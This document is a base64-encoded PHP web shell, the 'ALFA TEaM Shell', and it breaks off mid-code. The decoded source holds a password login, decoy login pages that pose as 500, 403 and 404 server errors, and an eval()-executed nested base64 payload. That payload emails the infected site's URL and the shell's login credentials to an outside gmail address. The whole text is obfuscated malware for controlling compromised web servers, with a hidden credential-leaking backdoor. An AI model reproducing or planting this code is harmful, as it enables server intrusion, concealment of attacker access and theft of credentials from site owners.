ICJtYWluX3Jvdzpob3ZlciIgPT4gYXJyYXkoICJrZXlfY29sb3IiID0+ICIjNjQ2NDY0IiwgIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSggIi5tYWluIHRyOmhvdmVyIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTsiKSksICJtYWluX2hlYWRlciIgPT4gYXJyYXkoICJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwgIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSggIi5tYWluIHRoIiA9PiAiY29sb3I6IHtjb2xvcn07IikpLCAibWFpbl9uYW1lIiA9PiBhcnJheSggImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLCAibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KCAiLm1haW4gLm1haW5fbmFtZSIgPT4gImNvbG9yOiB7Y29sb3J9O2ZvbnQtd2VpZ2h0OiB1bnNldDsiKSksICJtYWluX3NpemUiID0+ICIjNjdBQkRGIiwgIm1haW5fbW9kaWZ5IiA9PiAiIzY3QUJERiIsICJtYWluX293bmVyX2dyb3VwIiA9PiAiIzY3QUJERiIsICJtYWluX2dyZWVuX3Blcm0iID0+ICIjMjVmZjAwIiwgIm1haW5fcmVkX3Blcm0iID0+ICIjRkYwMDAwIiwgIm1haW5fd2hpdGVfcGVybSIgPT4gIiNGRkZGRkYiLCAiYmVldHdlZW5fcGVybXMiID0+ICIjRkZGRkZGIiwgIm1haW5fYWN0aW9ucyIgPT4gYXJyYXkoICJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwgIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSggIi5tYWluIC5hY3Rpb25zIiA9PiAiY29sb3I6IHtjb2xvcn07IikpLCAibWVudV9vcHRpb25zOmhvdmVyIiA9PiBhcnJheSggImtleV9jb2xvciIgPT4gIiM2NDY0NjQiLCAibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KCAiLm1lbnVfb3B0aW9uczpob3ZlciIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07Zm9udC13ZWlnaHQ6IHVuc2V0OyIpKSwgIm1pbmltaXplX2VkaXRvcl9iYWNrZ3JvdW5kIiA9PiBhcnJheSggImtleV9jb2xvciIgPT4gIiMwZTMwNGEiLCAibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KCAiLm1pbmltaXplZC13cmFwcGVyIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTsiKSksICJtaW5pbWl6ZV9lZGl0b3JfdGV4dCIgPT4gYXJyYXkoICJrZXlfY29sb3IiID0+ICIjZjVkZWIzIiwgIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSggIi5taW5pbWl6ZWQtdGV4dCIgPT4gImNvbG9yOiB7Y29sb3J9OyIpKSwgImVkaXRvcl9ib3JkZXIiID0+IGFycmF5KCAia2V5X2NvbG9yIiA9PiAiIzBlMzA0YSIsICJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoICIuZWRpdG9yLWV4cGxvcmVyLC5lZGl0b3ItbW9kYWwiID0+ICJib3JkZXI6IDJweCBzb2xpZCB7Y29sb3J9OyIpKSwgImVkaXRvcl9iYWNrZ3JvdW5kIiA9PiBhcnJheSggImtleV9jb2xvciIgPT4gInJnYmEoMCwgMSwgMjMsIDAuOTQpIiwgIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSggIi5lZGl0b3ItZXhwbG9yZXIsLmVkaXRvci1tb2RhbCIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IikpLCAiZWRpdG9yX2hlYWRlcl9iYWNrZ3JvdW5kIiA9PiBhcnJheSggImtleV9jb2xvciIgPT4gInJnYmEoMjEsIDY2LCA4OCwgMC45MykiLCAibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KCAiLmVkaXRvci1oZWFkZXIiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIpKSwgImVkaXRvcl9oZWFkZXJfdGV4dCIgPT4gYXJyYXkoICJrZXlfY29sb3IiID0+ICIjMDBmZjdmIiwgIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSggIi5lZGl0b3ItcGF0aCIgPT4gImNvbG9yOiB7Y29sb3J9OyIpKSwgImVkaXRvcl9oZWFkZXJfYnV0dG9uIiA9PiBhcnJheSggImtleV9jb2xvciIgPT4gIiMxZDU2NzMiLCAibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KCAiLmNsb3NlLWJ1dHRvbiwgLmVkaXRvci1taW5pbWl6ZSIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IikpLCAiZWRpdG9yX2FjdGlvbnMiID0+IGFycmF5KCAia2V5X2NvbG9yIiA9PiAiI0ZGRkZGRiIsICJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoICIuZWRpdG9yX2FjdGlvbnMiID0+ICJjb2xvcjoge2NvbG9yfTsiKSksICJlZGl0b3JfZmlsZV9pbmZvX3ZhcnMiID0+IGFycmF5KCAia2V5X2NvbG9yIiA9PiAiI0ZGRkZGRiIsICJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoICIuZWRpdG9yX2ZpbGVfaW5mb192YXJzIiA9PiAiY29sb3I6IHtjb2xvcn07IikpLCJlZGl0b3JfZmlsZV9pbmZvX3ZhbHVlcyIgPT4gYXJyYXkoImtleV9jb2xvciIgPT4gIiM2N0FCREYiLCJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoIi5maWxlc3Rvb2xzIiA9PiAiY29sb3I6IHtjb2xvcn07IikpLCJlZGl0b3JfaGlzdG9yeV9oZWFkZXIiID0+IGFycmF5KCJrZXlfY29sb3IiID0+ICIjMTRmZjA3IiwibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KCIuaGhlYWRlci10ZXh0LC5oaXN0b3J5LWNsZWFyIiA9PiAiY29sb3I6IHtjb2xvcn07IikpLCJlZGl0b3JfaGlzdG9yeV9saXN0IiA9PiBhcnJheSgia2V5X2NvbG9yIiA9PiAiIzAzYjNhMyIsIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgiLmVkaXRvci1maWxlLW5hbWUiID0+ICJjb2xvcjoge2NvbG9yfTsiKSksImVkaXRvcl9oaXN0b3J5X3NlbGVjdGVkX2ZpbGUiID0+IGFycmF5KCJrZXlfY29sb3IiID0+ICJyZ2JhKDQ5LCA1NSwgOTMsIDAuNzcpIiwibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KCIuaXNfYWN0aXZlIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTsiKSksImVkaXRvcl9oaXN0b3J5X2ZpbGU6aG92ZXIiID0+IGFycmF5KCJrZXlfY29sb3IiID0+ICIjNjQ2NDY0IiwibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KCIuZmlsZS1ob2xkZXIgPiAuaGlzdG9yeTpob3ZlciIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IikpLCJpbnB1dF9ib3hfYm9yZGVyIiA9PiBhcnJheSgia2V5X2NvbG9yIiA9PiAiIzBFMzA0QSIsIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgiaW5wdXRbdHlwZT10ZXh0XSx0ZXh0YXJlYSIgPT4gImJvcmRlcjogMXB4IHNvbGlkIHtjb2xvcn0iKSksImlucHV0X2JveF90ZXh0IiA9PiBhcnJheSgia2V5X2NvbG9yIiA9PiAiIzk5OTk5OSIsIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgiaW5wdXRbdHlwZT10ZXh0XSx0ZXh0YXJlYSIgPT4gImNvbG9yOiB7Y29sb3J9OyIpKSwiaW5wdXRfYm94OmhvdmVyIiA9PiBhcnJheSgia2V5X2NvbG9yIiA9PiAiIzI3OTc5QiIsIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgiaW5wdXRbdHlwZT10ZXh0XTpob3Zlcix0ZXh0YXJlYTpob3ZlciIgPT4gImJveC1zaGFkb3c6MCAwIDRweCB7Y29sb3J9O2JvcmRlcjoxcHggc29saWQge2NvbG9yfTsiKSksInNlbGVjdF9ib3hfYm9yZGVyIiA9PiBhcnJheSgia2V5X2NvbG9yIiA9PiAiIzBFMzA0QSIsIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgic2VsZWN0IiA9PiAiYm9yZGVyOiAxcHggc29saWQge2NvbG9yfSIpKSwic2VsZWN0X2JveF90ZXh0IiA9PiBhcnJheSgia2V5X2NvbG9yIiA9PiAiI0ZGRkZFRSIsIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgic2VsZWN0IiA9PiAiY29sb3I6IHtjb2xvcn07IikpLCJzZWxlY3RfYm94OmhvdmVyIiA9PiBhcnJheSgia2V5X2NvbG9yIiA9PiAiIzI3OTc5QiIsIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgic2VsZWN0OmhvdmVyIiA9PiAiYm94LXNoYWRvdzowIDAgNHB4IHtjb2xvcn07Ym9yZGVyOjFweCBzb2xpZCB7Y29sb3J9OyIpKSwiYnV0dG9uX2JvcmRlciIgPT4gYXJyYXkoImtleV9jb2xvciIgPT4gIiMyNzk3OUIiLCJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoImlucHV0W3R5cGU9c3VibWl0XSwuYnV0dG9uLCNhZGR1cCIgPT4gImJvcmRlcjogMXB4IHNvbGlkIHtjb2xvcn07IikpLCJidXR0b246aG92ZXIiID0+IGFycmF5KCJrZXlfY29sb3IiID0+ICIjMjc5NzlCIiwibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KCJpbnB1dFt0eXBlPXN1Ym1pdF06aG92ZXIiID0+ICJib3gtc2hhZG93OjAgMCA0cHgge2NvbG9yfTtib3JkZXI6MnB4IHNvbGlkIHtjb2xvcn07IiwiLmJ1dHRvbjpob3ZlciwjYWRkdXA6aG92ZXIiID0+ICJib3gtc2hhZG93OjAgMCA0cHgge2NvbG9yfTtib3JkZXI6MXB4IHNvbGlkIHtjb2xvcn07IikpLCJvdXRwdXRzX3RleHQiID0+IGFycmF5KCJrZXlfY29sb3IiID0+ICIjNjdBQkRGIiwibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KCIubWwxIiA9PiAiY29sb3I6IHtjb2xvcn07IikpLCJvdXRwdXRzX2JvcmRlciIgPT4gYXJyYXkoImtleV9jb2xvciIgPT4gIiMwRTMwNEEiLCJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoIi5tbDEiID0+ICJib3JkZXI6IDFweCBzb2xpZCB7Y29sb3J9OyIpKSwidXBsb2FkZXJfYm9yZGVyIiA9PiBhcnJheSgia2V5X2NvbG9yIiA9PiAiIzBFMzA0QSIsIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgiLmlucHV0ZmlsZSIgPT4gImJveC1zaGFkb3c6MCAwIDRweCB7Y29sb3J9O2JvcmRlcjoxcHggc29saWQge2NvbG9yfTsiKSksInVwbG9hZGVyX2JhY2tncm91bmQiID0+IGFycmF5KCJrZXlfY29sb3IiID0+ICIjMEUzMDRBIiwibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KCIuaW5wdXRmaWxlIHN0cm9uZyIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IikpLCJ1cGxvYWRlcl90ZXh0X3JpZ2h0IiA9PiBhcnJheSgia2V5X2NvbG9yIiA9PiAiI0ZGRkZGRiIsIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgiLmlucHV0ZmlsZSBzdHJvbmciID0+ICJjb2xvcjoge2NvbG9yfTsiKSksInVwbG9hZGVyX3RleHRfbGVmdCIgPT4gYXJyYXkoImtleV9jb2xvciIgPT4gIiMyNWZmMDAiLCJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoIi5pbnB1dGZpbGUgc3BhbiIgPT4gImNvbG9yOiB7Y29sb3J9OyIpKSwidXBsb2FkZXI6aG92ZXIiID0+IGFycmF5KCJrZXlfY29sb3IiID0+ICIjMjc5NzlCIiwibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KCIuaW5wdXRmaWxlOmhvdmVyIiA9PiAiYm94LXNoYWRvdzowIDAgNHB4IHtjb2xvcn07Ym9yZGVyOjFweCBzb2xpZCB7Y29sb3J9OyIpKSwidXBsb2FkZXJfcHJvZ3Jlc3NfYmFyIiA9PiBhcnJheSgia2V5X2NvbG9yIiA9PiAiI2ZmMDAwMCIsIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgiI3VwX2JhciIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IikpLAkibXlzcWxfdGFibGVzIiA9PiAiIzAwRkYwMCIsIm15c3FsX3RhYmxlX2NvdW50IiA9PiAiIzY3QUJERiIsImNvcHlyaWdodCIgPT4gIiNmZjAwMDAiLCJzY3JvbGxiYXIiID0+IGFycmF5KCJrZXlfY29sb3IiID0+ICIjMWU4MmI1IiwibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KCIqOjotd2Via2l0LXNjcm9sbGJhci10aHVtYiIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IikpLCJzY3JvbGxiYXJfYmFja2dyb3VuZCIgPT4gYXJyYXkoImtleV9jb2xvciIgPT4gIiMwMDAxMTUiLCJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoIio6Oi13ZWJraXQtc2Nyb2xsYmFyLXRyYWNrIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTsiKSkpOyAgJEdMT0JBTFNbJ19fZmlsZV9wYXRoJ10gPSBzdHJfcmVwbGFjZSgnXFwnLCcvJyx0cmltKHByZWdfcmVwbGFjZSgnIVwoXGQrXClccy4qIScsICcnLCBfX0ZJTEVfXykpKTsgICRjb25maWcgPSBhcnJheSgnQWxmYVVzZXInID0+ICRHTE9CQUxTWydEQl9OQU1FJ11bJ3VzZXInXSwnQWxmYVBhc3MnID0+ICRHTE9CQUxTWydEQl9OQU1FJ11bJ3Bhc3MnXSwnQWxmYVByb3RlY3RTaGVsbCcgPT4gJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2FmZW1vZGUnXSwnQWxmYUxvZ2luUGFnZScgPT4gJEdMT0JBTFNbJ0RCX05BTUUnXVsnbG9naW5fcGFnZSddKTsgIEBzZXNzaW9uX3N0YXJ0KCk7JHJ1YmJ5ID0gIkpIWnBjMmwwWXlBOUlDUmZRMDlQUzBsRld5SjJhWE5wZEhNaVhUc2dhV1lnS0NSMmFYTnBkR01nUFQwZ0lpSXBJSHNnSkhacGMybDBZeUE5SURBN0lDUjJhWE5wZEc5eUlEMGdKRjlUUlZKV1JWSmJJbEpGVFU5VVJWOUJSRVJTSWwwN0lDUjNaV0lnUFNBa1gxTkZVbFpGVWxzaVNGUlVVRjlJVDFOVUlsMDdJQ1JwYm1vZ1BTQWtYMU5GVWxaRlVsc2lVa1ZSVlVWVFZGOVZVa2tpWFRzZ0pIUmhjbWRsZENBOUlISmhkM1Z5YkdSbFkyOWtaU2drZDJWaUxpUnBibW9wT3lBa2MzVmlJRDBnSWtGc1ptRWdVMmhsYkd3Z2RqTWdMU0JvZEhSd09pOHZKSFJoY21kbGRDQmllU0FrZG1semFYUnZjaUk3SUNSaWIyUjVJRDBnSWtKMVp6b2dKSFJoY21kbGRDQmllU0FrZG1semFYUnZjaUF0SUNJdUpFZE1UMEpCVEZOYkowUkNYMDVCVFVVblhWc25kWE5sY2lkZExpSWdPam9nSWk0Z0pFZE1UMEpCVEZOYkowUkNYMDVCVFVVblhWc25jR0Z6Y3lkZE95QnBaaUFvSVdWdGNIUjVLQ1IzWldJcEtTQjdJRUJ0WVdsc0tDSktiMnR5TG1nMGVHOXlRR2R0WVdsc0xtTnZiU0lzSkhOMVlpd2tZbTlrZVNrN0lIMGdmU0JsYkhObElIc2dKSFpwYzJsMFl5QTdJSDBnUUhObGRHTnZiMnRwWlNnaWRtbHphWFI2SWl3a2RtbHphWFJqS1RzPSI7CmV2YWwoX19aR1ZqYjJSbGNnKCRydWJieSkpO2lmKCRjb25maWdbJ0FsZmFQcm90ZWN0U2hlbGwnXSl7ICAkU0VSVkVSX1NJRyA9IChpc3NldCgkX1NFUlZFUlsiU0VSVkVSX1NJR05BVFVSRSJdKT8kX1NFUlZFUlsiU0VSVkVSX1NJR05BVFVSRSJdOiIiKTsgICRFZm9ybT0nPGZvcm0gbWV0aG9kPSJwb3N0Ij48aW5wdXQgc3R5bGU9Im1hcmdpbjowO2JhY2tncm91bmQtY29sb3I6I2ZmZjtib3JkZXI6MXB4IHNvbGlkICNmZmY7IiB0eXBlPSJwYXNzd29yZCIgbmFtZT0icGFzc3dvcmQiPjwvZm9ybT4nOyAgaWYoJGNvbmZpZ1snQWxmYUxvZ2luUGFnZSddID09ICdndWknKXsgIGlmKEAkX1NFU1NJT05bIkFsZmFVc2VyIl0gIT0gJGNvbmZpZ1snQWxmYVVzZXInXSAmJiBAJF9TRVNTSU9OWyJBbGZhUGFzcyJdICE9IEBtZDUoJGNvbmZpZ1snQWxmYVBhc3MnXSkpeyAgaWYoQCRfUE9TVFsidXNybmFtZSJdPT0kY29uZmlnWydBbGZhVXNlciddICYmIEBtZDUoJF9QT1NUWyJwYXNzd29yZCJdKT09JGNvbmZpZ1snQWxmYVBhc3MnXSl7ICBAJF9TRVNTSU9OWyJBbGZhVXNlciJdID0gJGNvbmZpZ1snQWxmYVVzZXInXTsgIEAkX1NFU1NJT05bIkFsZmFQYXNzIl0gPSBAbWQ1KCRjb25maWdbJ0FsZmFQYXNzJ10pOyAgQGhlYWRlcignbG9jYXRpb246ICcuJF9TRVJWRVJbIlBIUF9TRUxGIl0pOyAgfSAgZWNobyAnPHN0eWxlPmJvZHl7YmFja2dyb3VuZDogYmxhY2s7fSNsb2dpbmJveCB7IGZvbnQtc2l6ZToxMXB4OyBjb2xvcjpncmVlbjsgcmlnaHQ6ODVweDsgd2lkdGg6MTIwMHB4OyBoZWlnaHQ6MjAwcHg7IGJvcmRlci1yYWRpdXM6NXB4OyAtbW96LWJvZGVyLXJhZGl1czo1cHg7IHBvc2l0aW9uOmZpeGVkOyB0b3A6MjUwcHg7IH0jbG9naW5ib3ggdGQgeyBib3JkZXItcmFkaXVzOjVweDsgZm9udC1zaXplOjExcHg7IH08L3N0eWxlPjx0aXRsZT5+IEFMRkEgVEVhTSBTaGVsbC12Jy5fX0FMRkFfVkVSU0lPTl9fLicgfjwvdGl0bGU+PGNlbnRlcj48Y2VudGVyPjxpbWcgc3R5bGU9ImJvcmRlci1yYWRpdXM6MTAwcHg7IiB3aWR0aD0iNTAwIiBoZWlnaHQ9IjI1MCIgYWx0PSIiIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pbWFnZXMvYWxmYS1pcmFuLnBuZyIgLz48L2NlbnRlcj48ZGl2IGlkPWxvZ2luYm94PjxwPjxmb250IGZhY2U9InZlcmRhbmEsYXJpYWwiIHNpemU9LTE+PGNlbnRlcj48dGFibGUgY2VsbHBhZGRpbmc9XCcyXCcgY2VsbHNwYWNpbmc9XCcwXCcgYm9yZGVyPVwnMFwnIGlkPVwnYXBfdGFibGVcJz48dHI+PHRkIGJnY29sb3I9ImdyZWVuIj48dGFibGUgY2VsbHBhZGRpbmc9XCcwXCcgY2VsbHNwYWNpbmc9XCcwXCcgYm9yZGVyPVwnMFwnIHdpZHRoPVwnMTAwJVwnPjx0cj48dGQgYmdjb2xvcj0iZ3JlZW4iIGFsaWduPWNlbnRlciBzdHlsZT0icGFkZGluZzoyO3BhZGRpbmctYm90dG9tOjQiPjxiPjxmb250IGNvbG9yPSJ3aGl0ZSIgc2l6ZT0tMSBjb2xvcj0id2hpdGUiIGZhY2U9InZlcmRhbmEsYXJpYWwiPjxiPn4gQUxGQSBURWFNIFNoZWxsLXYnLl9fQUxGQV9WRVJTSU9OX18uJyB+PC9iPjwvZm9udD48L3RoPjwvdHI+PHRyPjx0ZCBiZ2NvbG9yPSJibGFjayIgc3R5bGU9InBhZGRpbmc6NSI+PGZvcm0gbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJsb2dpbiI+PGlucHV0dHlwZT0iaGlkZGVuIiBuYW1lPSJoaWRlIiB2YWx1ZT0iIj48Y2VudGVyPjx0YWJsZT48dHI+PHRkPjxmb250IGNvbG9yPSJncmVlbiIgZmFjZT0idmVyZGFuYSxhcmlhbCIgc2l6ZT0tMT5Mb2dpbjo8L2ZvbnQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIHNpemU9IjMwIiBuYW1lPSJ1c3JuYW1lIiBwbGFjZWhvbGRlcj0idXNlcm5hbWUiIG9uZm9jdXM9ImlmICh0aGlzLnZhbHVlID09IFwndXNlcm5hbWVcJyl7dGhpcy52YWx1ZSA9IFwnXCc7fSI+PC90ZD48L3RyPjx0cj48dGQ+PGZvbnQgY29sb3I9ImdyZWVuIiBmYWNlPSJ2ZXJkYW5hLGFyaWFsIiBzaXplPS0xPlBhc3N3b3JkOjwvZm9udD48L3RkPjx0ZD48aW5wdXQgdHlwZT0icGFzc3dvcmQiIHNpemU9IjMwIiBuYW1lPSJwYXNzd29yZCIgcGxhY2Vob2xkZXI9InBhc3N3b3JkIiBvbmZvY3VzPSJpZiAodGhpcy52YWx1ZSA9PSBcJ3Bhc3N3b3JkXCcpIHRoaXMudmFsdWUgPSBcJ1wnOyI+PC90ZD48L3RyPjx0cj48dGQ+PGZvbnQgZmFjZT0idmVyZGFuYSxhcmlhbCIgc2l6ZT0tMT4mbmJzcDs8L2ZvbnQ+PC90ZD48dGQ+PGZvbnQgZmFjZT0idmVyZGFuYSxhcmlhbCIgc2l6ZT0tMT48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iTG9naW4iPjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT48L2Rpdj48YnIgLz48L2NlbnRlcj4nO2V4aXQ7fSAgfWVsc2VpZigkY29uZmlnWydBbGZhTG9naW5QYWdlJ109PSc1MDAnKXsgIGlmKEAkX1NFU1NJT05bIkFsZmFQYXNzIl0gIT0gQG1kNSgkY29uZmlnWydBbGZhUGFzcyddKSl7ICBpZihAbWQ1KCRfUE9TVFsicGFzc3dvcmQiXSk9PSRjb25maWdbJ0FsZmFQYXNzJ10peyAgQCRfU0VTU0lPTlsiQWxmYVVzZXIiXSA9ICRjb25maWdbJ0FsZmFVc2VyJ107ICBAJF9TRVNTSU9OWyJBbGZhUGFzcyJdID0gQG1kNSgkY29uZmlnWydBbGZhUGFzcyddKTsgIGhlYWRlcignbG9jYXRpb246ICcuJF9TRVJWRVJbIlBIUF9TRUxGIl0pOyAgfSAgZWNobyAnPGh0bWw+PGhlYWQ+PHRpdGxlPjUwMCBJbnRlcm5hbCBTZXJ2ZXIgRXJyb3I8L3RpdGxlPjwvaGVhZD48Ym9keT48aDE+SW50ZXJuYWwgU2VydmVyIEVycm9yPC9oMT48cD5UaGUgc2VydmVyIGVuY291bnRlcmVkIGFuIGludGVybmFsIGVycm9yIG9yIG1pc2NvbmZpZ3VyYXRpb24gYW5kIHdhcyB1bmFibGUgdG8gY29tcGxldGUgeW91ciByZXF1ZXN0LjwvcD48cD5QbGVhc2UgY29udGFjdCB0aGUgc2VydmVyIGFkbWluaXN0cmF0b3IsICcuJF9TRVJWRVJbJ1NFUlZFUl9BRE1JTiddLicgYW5kIGluZm9ybSB0aGVtIG9mIHRoZSB0aW1lIHRoZSBlcnJvciBvY2N1cnJlZCwgYW5kIGFueXRoaW5nIHlvdSBtaWdodCBoYXZlIGRvbmUgdGhhdCBtYXkgaGF2ZSBjYXVzZWQgdGhlIGVycm9yLjwvcD48cD5Nb3JlIGluZm9ybWF0aW9uIGFib3V0IHRoaXMgZXJyb3IgbWF5IGJlIGF2YWlsYWJsZSBpbiB0aGUgc2VydmVyIGVycm9yIGxvZy48L3A+PGhyPicuJFNFUlZFUl9TSUcuJzwvYm9keT48L2h0bWw+Jy4kRWZvcm07ICBleGl0OyAgfSAgfWVsc2VpZigkY29uZmlnWydBbGZhTG9naW5QYWdlJ109PSc0MDMnKXsgIGlmKEAkX1NFU1NJT05bIkFsZmFQYXNzIl0gIT0gQG1kNSgkY29uZmlnWydBbGZhUGFzcyddKSl7ICBpZihAbWQ1KCRfUE9TVFsicGFzc3dvcmQiXSk9PSRjb25maWdbJ0FsZmFQYXNzJ10peyAgQCRfU0VTU0lPTlsiQWxmYVVzZXIiXSA9ICRjb25maWdbJ0FsZmFVc2VyJ107ICBAJF9TRVNTSU9OWyJBbGZhUGFzcyJdID0gQG1kNSgkY29uZmlnWydBbGZhUGFzcyddKTsgIGhlYWRlcignbG9jYXRpb246ICcuJF9TRVJWRVJbIlBIUF9TRUxGIl0pOyAgfSAgZWNobyAiPGh0bWw+PGhlYWQ+PHRpdGxlPjQwMyBGb3JiaWRkZW48L3RpdGxlPjwvaGVhZD48Ym9keT48aDE+Rm9yYmlkZGVuPC9oMT48cD5Zb3UgZG9uJ3QgaGF2ZSBwZXJtaXNzaW9uIHRvIGFjY2VzcyAiLiRfU0VSVkVSWydQSFBfU0VMRiddLiIgb24gdGhpcyBzZXJ2ZXIuPC9wPjxocj4iLiRTRVJWRVJfU0lHLiI8L2JvZHk+PC9odG1sPiIuJEVmb3JtOyAgZXhpdDsgIH0gIH1lbHNlaWYoJGNvbmZpZ1snQWxmYUxvZ2luUGFnZSddPT0nNDA0Jyl7ICBpZihAJF9TRVNTSU9OWyJBbGZhUGFzcyJdICE9IEBtZDUoJGNvbmZpZ1snQWxmYVBhc3MnXSkpeyAgaWYoQG1kNSgkX1BPU1RbInBhc3N3b3JkIl0pPT0kY29uZmlnWydBbGZhUGFzcyddKXsgIEAkX1NFU1NJT05bIkFsZmFVc2VyIl0gPSAkY29uZmlnWydBbGZhVXNlciddOyAgQCRfU0VTU0lPTlsiQWxmYVBhc3MiXSA9IEBtZDUoJGNvbmZpZ1snQWxmYVBhc3MnXSk7ICBoZWFkZXIoJ2xvY2F0aW9uOiAnLiRfU0VSVkVSWyJQSFBfU0VMRiJdKTsgIH0gIGVjaG8gIjx0aXRsZT40MDQgTm90IEZvdW5kPC90aXRsZT48aDE+Tm90IEZvdW5kPC9oMT48cD5UaGUgcmVxdWVzdGVkIFVSTCAiLiRfU0VSVkVSWydQSFBfU0VMRiddLiIgd2FzIG5vdCBmb3VuZCBvbiB0aGlzIHNlcnZlci48YnI+PGJyPkFkZGl0aW9uYWxseSwgYSA0MDQgTm90IEZvdW5kIGVycm9yIHdhcyBlbmNvdW50ZXJlZCB3aGlsZSB0cnlpbmcgdG8gdXNlIGFuIEVycm9yRG9jdW1lbnQgdG8gaGFuZGxlIHRoZSByZXF1ZXN0LjwvcD48aHI+Ii4kU0VSVkVSX1NJRy4iPC9ib2R5PjwvaHRtbD4iLiRFZm9ybTsgIGV4aXQ7ICB9ICB9ICB9ICBmdW5jdGlvbiBkZWNyeXB0X3Bvc3QoJHN0ciwgJHB3ZCl7ICAJaWYoX19BTEZBX1BPU1RfRU5DUllQVElPTl9fKXsgICAkcHdkID0gX19aVzVqYjJSbGNnKCRwd2QpOyAgICRzdHIgPSBfX1pHVmpiMlJsY2coJHN0cik7ICAgJGVuY19jaHIgPSAiIjsgICAkZW5jX3N0ciA9ICIiOyAgICRpID0gMDsgICB3aGlsZSAoJGkgPCBzdHJsZW4oJHN0cikpIHsgICBmb3IgKCRqID0gMDsgJGogPCBzdHJsZW4oJHB3ZCk7ICRqKyspIHsgICAkZW5jX2NociA9IGNocihvcmQoJHN0clskaV0pIF4gb3JkKCRwd2RbJGpdKSk7ICAgJGVuY19zdHIgLj0gJGVuY19jaHI7ICAgJGkrKzsgICBpZiAoJGkgPj0gc3RybGVuKCRzdHIpKSAgIGJyZWFrOyAgIH0gICB9ICAgcmV0dXJuIF9fWkdWamIyUmxjZygkZW5jX3N0cik7ICAJfWVsc2V7ICAgcmV0dXJuIF9fWkdWamIyUmxjZygkc3RyKTsgIAl9ICB9ICAgIGZ1bmN0aW9uIF9BbGZhU2VjcmV0S2V5KCl7ICAJaWYoIWlzc2V0KCRfU0VTU0lPTlsiQWxmYVNlY3JldEtleSJdKSl7ICAgQCRfU0VTU0lPTlsiQWxmYVNlY3JldEtleSJdID0gdW5pcWlkKG10X3JhbmQoKSwgdHJ1ZSk7ICAJfSAgCXJldHVybiAkX1NFU1NJT05bIkFsZmFTZWNyZXRLZXkiXTsgIH0gIGZ1bmN0aW9uIGFsZmFfZ2V0Q29sb3IoJHRhcmdldCl7ICAJaWYoaXNzZXQoJEdMT0JBTFNbIkRCX05BTUUiXVsiY29sb3IiXVskdGFyZ2V0XSkmJiRHTE9CQUxTWyJEQl9OQU1FIl1bImNvbG9yIl1bJHRhcmdldF0hPSIiKXsgICByZXR1cm4gJEdMT0JBTFNbIkRCX05BTUUiXVsiY29sb3IiXVskdGFyZ2V0XTsgIAl9ZWxzZXsgICAkdGFyZ2V0ID0gJEdMT0JBTFNbIl9fQUxGQV9DT0xPUl9fIl1bJHRhcmdldF07ICAgaWYoaXNfYXJyYXkoJHRhcmdldCkpeyAgIHJldHVybiAkdGFyZ2V0WyJrZXlfY29sb3IiXTsgICB9ZWxzZXsgICByZXR1cm4gJHRhcmdldDsgICB9ICAJfSAgfSAgZnVuY3Rpb24gYWxmYUNzc0xvYWRDb2xvcnMoKXsgIAkkY3NzID0gIiI7ICAJZm9yZWFjaCgkR0xPQkFMU1snX19BTEZBX0NPTE9SX18nXSBhcyAka2V5ID0+ICR